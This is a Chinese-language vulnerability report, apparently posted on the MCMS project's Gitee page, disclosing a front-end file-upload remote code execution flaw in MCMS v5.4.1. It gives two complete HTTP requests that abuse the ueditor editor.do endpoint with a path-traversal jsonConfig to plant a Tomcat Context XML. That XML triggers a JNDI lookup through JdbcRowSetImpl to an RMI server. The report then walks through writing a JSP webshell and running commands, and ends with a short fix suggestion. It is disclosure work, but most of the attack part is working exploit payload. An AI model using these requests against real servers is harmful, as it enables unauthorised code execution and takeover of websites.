MCMS v5.4.1 前台文件上传rce

### 部署

用tomcat部署

### 漏洞原理

前台/ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do可以上传任意路径的文件，可以创建目录。

可以上传xml和对应的目录

目录会在webapps下，文件在\conf\Catalina\localhost

上传目录

```
POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%38%2f%38%27%7d&action=uploadfile  HTTP/1.1
Host: 127.0.0.1:8079
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 431
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"

<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://localhost:1099/remoteobj"
             autoCommit="true"></Manager>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

```
![输入图片说明](https://foruda.gitee.com/images/1722682426188995057/adcfbe3b_12526691.png "屏幕截图")
上传文件

```
POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile  HTTP/1.1
Host: 127.0.0.1:8079
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 431
Content-Type: multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X_Requested_With: UTF-8

--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"

<?xml version='1.0' encoding='utf-8'?>
<Context>
    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="rmi://localhost:1099/remoteobj"
             autoCommit="true"></Manager>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

```
![输入图片说明](https://foruda.gitee.com/images/1722682462715530618/a67060e8_12526691.png "屏幕截图")
tomcat可以通过解析\conf\Catalina\localhost下的xml从而导致jndi，如果jdk版本低的话，可以直接rce。

但是如果版本高了，就需要绕过jdk版本限制。

这里利用浅蓝师傅说的MemoryUserDatabaseFactory类来写入一个jsp文件。

可以参考https://tttang.com/archive/1405/#toc_0x02-xxe-rce

具体操作：

起一个rmi服务
![输入图片说明](https://foruda.gitee.com/images/1722682480702587637/46dec8a1_12526691.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1722682485268803102/0b021617_12526691.png "屏幕截图")
然后本地起一个python的http服务，创建一个目录webapps\ROOT，里面放test.jsp。让jndi可以访问得到。

![输入图片说明](https://foruda.gitee.com/images/1722682496021129369/f369cd01_12526691.png "屏幕截图")
上传上面所说的两个文件，先上传目录，再上传文件，会写入jsp。最后访问jsp执行命令

![输入图片说明](https://foruda.gitee.com/images/1722682509569593749/45864041_12526691.png "屏幕截图")
### 修复建议

去除xml白名单，或者修复文件上传可以上传任意路径

GVP 铭飞/MCMS

内容风险标识

评论 (2)

GVP铭飞/MCMS

内容风险标识